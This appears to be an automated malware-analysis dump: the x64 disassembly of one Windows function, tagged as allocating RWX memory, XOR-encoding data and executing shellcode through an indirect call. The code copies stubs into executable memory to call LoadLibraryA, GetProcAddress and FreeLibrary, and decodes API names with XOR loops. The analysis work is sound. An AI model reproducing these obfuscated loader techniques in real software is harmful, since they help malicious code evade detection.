Function at 0x140003f60
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x14008f080]
xor rax, rsp
mov qword [rbp - 8], rax
mov rdi, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rax, [rbp + 0x28]
movabs r12, 0x7e4a9c8f5b3d2e1f
mov qword [rbp - 0x18], r12
mov qword [rbp - 0x10], rax
mov rsi, qword [rax]
xor rsi, r12
mov qword [rbp - 0x20], rsi
movsd xmm0, qword [str.BKH_b]
movsd qword [rbp - 0x50], xmm0
movzx eax, word [0x140083b00]
mov word [rbp - 0x48], ax
movzx eax, byte [0x140083b02]
mov byte [rbp - 0x46], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
lea rax, [rbp + 0x28]
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x38], r12
xor r15d, r15d
mov qword [rax], r15
mov ecx, r15d
mov ebx, 3
lea r13, [0x14000c060]
lea r14, [0x140000000]
mov rax, qword [0x140090ca0]
test rax, rax
je 0x140004049
mov edx, r15d
nop dword [rax + rax]
cmp rax, r13
je 0x140004038
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x90ca0]
test rax, rax
jne 0x140004020
jmp 0x140004049
mov r8, qword [r14 + rdx*8 + 0x92f60]
test r8, r8
jne 0x14000412f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140004072
mov r8, r15
jmp 0x14000410e
mov rax, r13
mov rcx, r8
mov rdx, rbx
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140004080
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140091948]
mov qword [r14 + rax*8 + 0x90ca0], r13
mov qword [r14 + rax*8 + 0x92f60], r8
inc rax
mov qword [0x140091948], rax
lea rdx, [rbp - 0x50]
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call r8
mov r10, rax
lea rax, [rbp + 0x28]
mov qword [rax], r15
mov qword [rbp - 0x40], r10
test r10, r10
je 0x14000459e
movups xmm0, xmmword [str.p_MHES_t_8]
movups xmmword [rbp - 0x38], xmm0
movzx ecx, byte [0x1400837f8]
mov byte [rbp - 0x28], cl
mov r8d, r15d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000429f
movdqa xmm4, xmmword [0x140083c10]
movdqa xmm3, xmmword [0x140083c60]
movdqa xmm5, xmmword [0x140083c30]
movdqa xmm0, xmmword [0x140083c50]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rbp - 0x34]
mov edx, dword [rbp - 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmmword [0x140083c40]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmmword [0x140083c40]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400041b0
cmp r8d, 0x11
jge 0x1400042e0
movsxd rax, r8d
lea r9, [rbp - 0x38]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400042b0
lea rdx, [rbp - 0x38]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
lea rcx, [rbp + 0x28]
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x30], r12
test rax, rax
jne 0x140004453
mov rax, qword [rcx]
xor rax, r12
mov qword [rbp - 0x38], rax
mov qword [rcx], r15
mov ecx, r15d
lea rdi, [0x14000c0d0]
mov rax, qword [0x140091fa0]
test rax, rax
je 0x140004359
mov rdx, r15
nop
cmp rax, rdi
je 0x140004348
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x91fa0]
test rax, rax
jne 0x140004330
jmp 0x140004359
mov r10, qword [r14 + rdx*8 + 0x922c0]
test r10, r10
jne 0x14000443f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140004382
mov r10, r15
jmp 0x14000441e
mov rax, rdi
mov rcx, r10
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rbx, 1
jne 0x140004390
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140093bf0]
mov qword [r14 + rax*8 + 0x91fa0], rdi
mov qword [r14 + rax*8 + 0x922c0], r10
inc rax
mov qword [0x140093bf0], rax
lea rdx, [rbp - 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call r10
nop
jmp 0x14000459e
mov qword [rdi], rax
mov rax, qword [rcx]
xor rax, r12
mov qword [rbp - 0x38], rax
mov qword [rcx], r15
mov ecx, r15d
lea rdi, [0x14000c0d0]
mov rax, qword [0x140091fa0]
test rax, rax
je 0x1400044a9
mov rdx, r15
nop dword [rax]
cmp rax, rdi
je 0x140004498
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x91fa0]
test rax, rax
jne 0x140004480
jmp 0x1400044a9
mov r8, qword [r14 + rdx*8 + 0x922c0]
test r8, r8
jne 0x14000458f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400044d2
mov r8, r15
jmp 0x14000456e
mov rcx, rdi
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x1400044e0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov ecx, dword [rcx + 0x70]
mov dword [rax + 0x70], ecx
mov rax, qword [0x140093bf0]
mov qword [r14 + rax*8 + 0x91fa0], rdi
mov qword [r14 + rax*8 + 0x922c0], r8
inc rax
mov qword [0x140093bf0], rax
lea rdx, [rbp - 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call r8
nop
xor rsi, r12
lea rax, [rbp + 0x28]
mov qword [rax], rsi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400708b0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret